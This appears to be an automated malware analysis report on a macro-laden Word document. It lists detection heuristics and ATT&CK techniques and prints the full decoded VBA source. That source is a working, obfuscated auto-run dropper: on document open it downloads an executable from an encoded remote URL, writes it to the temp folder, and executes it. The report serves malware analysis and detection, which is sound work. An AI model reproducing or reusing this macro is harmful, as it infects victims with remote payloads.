MALICIOUS
238
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA code downloads a file from an HTTP URL and saves it to disk, which is then likely executed. The 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic further confirms that an auto-executing macro (Document_Open) is present and uses CreateObject to initiate execution. The presence of VBA macros points to the T1059.005 (Visual Basic) technique, and the download behavior aligns with T1105 (Ingress Tool Transfer).
Heuristics 8
-
ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«² = ¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set ¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´ = CreateObject("microsoft.xmlhttp") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´¸¼¨··¯º¼·©¸¤¦ = Environ("tmp") + £µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦("\R¶KÚ¶KR.ÂÛÂ") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ Referenced by macro
- http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 11350 bytes |
SHA-256: 49143022f32a24bb8f1faf2f937e016fbb6970c4420fbfbd5289a58fa4a8e53c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function £µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦(¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹)
¾¸«¾¹®¨½½µµ©¥³«°¬³½ª½¼¸¬®¡ª¤°£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶½©º = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
ª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
For i = 1 To Len(¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹)
¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´¸¼¨··¯º¼·©¸¤¦¾ = InStr(¾¸«¾¹®¨½½µµ©¥³«°¬³½ª½¼¸¬®¡ª¤°£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶½©º, Mid(¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹, i, 1))
If ¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´¸¼¨··¯º¼·©¸¤¦¾ > 0 Then
¸«¾¹®¨½½µµ©¥³«°¬³½ª½¼¸¬®¡ª¤°£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦ = Mid(ª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³, ¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´¸¼¨··¯º¼·©¸¤¦¾, 1)
·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹ = ·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹ + ¸«¾¹®¨½½µµ©¥³«°¬³½ª½¼¸¬®¡ª¤°£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦
Else
·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹ = ·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹ + Mid(¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹, i, 1)
End If
Next
£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦ = ·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹
End Function
Private Sub Document_Open()
Dim ¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´
Set ¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´ = CreateObject("microsoft.xmlhttp")
Dim ¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´¸¼¨··¯º¼·©¸¤¦
Dim ²¨¨¿·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²
Set ²¨¨¿·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«² = CreateObject("Shell.Application")
¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´¸¼¨··¯º¼·©¸¤¦ = Environ("tmp") + £µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦("\R¶KÚ¶KR.ÂÛÂ")
¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´.Open "GET", £µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦("hÖÖÓ://ÒÔÀÁlÂvÄÔÖÙÀlbÒÛÙÓdÀÖÂ.ÔÂÕÓlÒÄÖ.ml/ÙÓdÀÖÂ/dÀÕÀ.ÂÛÂ"), False
¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´.send
·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«² = ¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´.responseBody
If ¡©¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´.Status = 200 Then
Set ¸¼¨··¯º¼·©¸¤¦¾¸«¾¹®¨½½µµ©¥³«°¬³½ª½¼¸¬®¡ª¤°£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶ = CreateObject("adodb.stream")
¸¼¨··¯º¼·©¸¤¦¾¸«¾¹®¨½½µµ©¥³«°¬³½ª½¼¸¬®¡ª¤°£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶.Open
¸¼¨··¯º¼·©¸¤¦¾¸«¾¹®¨½½µµ©¥³«°¬³½ª½¼¸¬®¡ª¤°£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶.Type = 1
¸¼¨··¯º¼·©¸¤¦¾¸«¾¹®¨½½µµ©¥³«°¬³½ª½¼¸¬®¡ª¤°£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶.Write ·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«²
¸¼¨··¯º¼·©¸¤¦¾¸«¾¹®¨½½µµ©¥³«°¬³½ª½¼¸¬®¡ª¤°£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶.SaveToFile ¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´¸¼¨··¯º¼·©¸¤¦, 2
¸¼¨··¯º¼·©¸¤¦¾¸«¾¹®¨½½µµ©¥³«°¬³½ª½¼¸¬®¡ª¤°£µ¾¿£¢´®·§³©¦¶»µ§ªª«¨¾º¾²®¹®ª©¯°¬¶¤§®¡§¬¤²¨¨¿·¨¶.Close
End If
²¨¨¿·¨¶½©ºª¼¾¡¨©®¢¤º¨·º¸¾¯¦·¸½«¯³¼¨µ¿¼¶¦¡¡¢²§«§»¬¬£¡°¤»«¿¶¥¤¹¥£¶¼§²¦¯²¿¾°«¡©¦¹¦°£¸¶«².Open (¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬«¦¸µ¨§¼¿¤²¥½»»º½´¸¼¨··¯º¼·©¸¤¦)
¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬ = "SQ^&eIG*6@BBJJ/<FgzR9z2C-*Nkuc1=WXpdT(k8XU]MGRisCDdLk}PHZCF/%UA{Vg8yTTz_=e*Vou@8B7?RDM_G=rr!^d_uZ$>x]SGl=2=n1!DRcAs$0vpUonA^^18nCsm=$2?Wqr{eY?fF]@mn!gj$U$cg>EJ@ZQa9XS!>LTc=_*<-5D?!1s*NFSqC*Ry]W!qJ=2YzyXY/imEHazz8t3aOWPHcx8H*]3P7D-Lh+29+]vpxFLNU_SUo]o&A*Fpscg>cT^YrhigYD^XG?Ym_nKI4(8M6i1cJv[x$TGj}]_Q?/r@1]gO8zuP{[mEno?{yKk>_S^O2b4rm&l[YwRoa?kPF&Yf]&exbA>@EyKwYRa77$-T}gJ/(2DSYf)&Kyg0QbZ94G5RxO>P6f#pKzWGRAT@e&qg0/(DSwya7#yXPk9S%HzSIvSY21sVP_!+c2sJzYM5XRm<$fFCujT<EFH5A$sQaS3M5)hRIE*m])nA74O5[Mjt=ESe3KsIXvU5J4WRE+n*Dd5GZB4{c2$UO_ttc}7_VlC)<ipuCFFv1VAmvm0(}E?/)EAo=G#Qm&v<?)<fq0P!g7kZI+2_wUyp(!5*d8Hs4Mu4}x#tUpu3#5OXl{Bx/*lgZ-wrM/tf/5(q9Snf$b]Uo(k1p?v4nR4v&8e-ique{SP3E^ylZI2j9nxrJrsGHdE8kCkDX0B0&0V=Bm{l{Ey<&qB!OiGJ31NufI%X$&_)?8wE%Wq-)h85lh_kwjfFd_z{Sop{S9Ishv#Ygq^wMXZO_A0SO$pKyrO9vLjerK<KU6Ryzi(?XIPJvAdMX/C^gWQpyw0g5[@Snznz%fMEXS3%8YvI]ef$f@vKKr0MRPr<n%*vgRJ0@]W*2a$h4ye-0ab%kskqEU@ot6RheHS^%+]cUM1[scQl?&H1M&*Wn!gL"
Selection.TypeText (¦¹¦°£¸¶«²¯»¹¯¥´¯¹¿¢¥¼½³¾®©¯´¹º¹»¦¢³ª££·¹º¶ª¢¦¿µ¶¬µ·¿½´»¥¥»¯§º©¹§´¬´º·®¸ª»®ª¬¥µ¾¬)
MsgBox "/ao?zSm%5nc>^ucF-/EUh[>ra^Pv]/FT>0AuD1s/{%ReF}>nGu&0c{!Ye{!OdSOd9>AAoocbf-WlI{05-OC2JBR8FhCaoo3F7]3y0PzW+>2<i/S>xg6*x!Ob&4OYL9&>}AZWXx9>qH^H5yECC)6P5Mc[NsSC07@sGp[{f5MhL7auem(z1HSvmZIFJOwF}akoH5J{?F22@_2hY<6)9{S=mod>^p@m&Mg$w{RBu@]6v^B4XA/b/da=+i)5^MX?dwGvD5&e<>Q<(=frhKW<XnhQObC4*nRu3f?as)tYgUUJ8ln=OdOP>vGa7^)BP7s%X=M<S?Uct{#Y64+eF[QH0E*6NWrNw/2zvj39_S)?q8n+/Gi-y}}C{M1eg?H>Fb-1k-1TQ#DTVH$ex0i!T><lB{9<8oOKQNx==yEWLzd+USlWdP?#=]B}!){mqOW=b^/%H9ry3+HK%cz=(qeDbifwOnq*$Mn?3frN#/[okvotpL_}gXgU+_aqzk_?xoV8Z4KW&?RFFXy5Vy6OCQPrwc1VJOqe5O1w2^-B@IKYaj(H{9ihB3k4MxmhayDMIY9wR2@t6S_6T=<eT&$saD6CWpMTjx7NdzLuW@h>&#qwv0sFuTru8AV$-pD4rd@Hmw()oNxVe/8l[Qe@oR+(ljZ-ykf_^a]Vgco63}_V4tMFA>&ZI#L-xija?OGOgjwN^[>RRwcW@yEG3=<cNp?@[w<diKs3V!py>#UbuCWzE>}6Q#05b]^x@C)1iukHPpc+#N%qh7[XS@}rVViwbT!92$fl$T58&nB5o?XpV={_Z)KE5B-rrx&N{#NoU-W^OJkQRh_P##Hy]GwUO+Nzre$eQeNa>&zS*msxmfGKH1RzE4(]n]0P@A[N0zMk<5wj66-Z}7d120Y&AN2&C@5rj[sw/5I56kHQ]v$R3=H"
End Sub
Attribute VB_Name = "NewMacros"
Sub eMoneyService()
'
' eMoneyService ??????
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.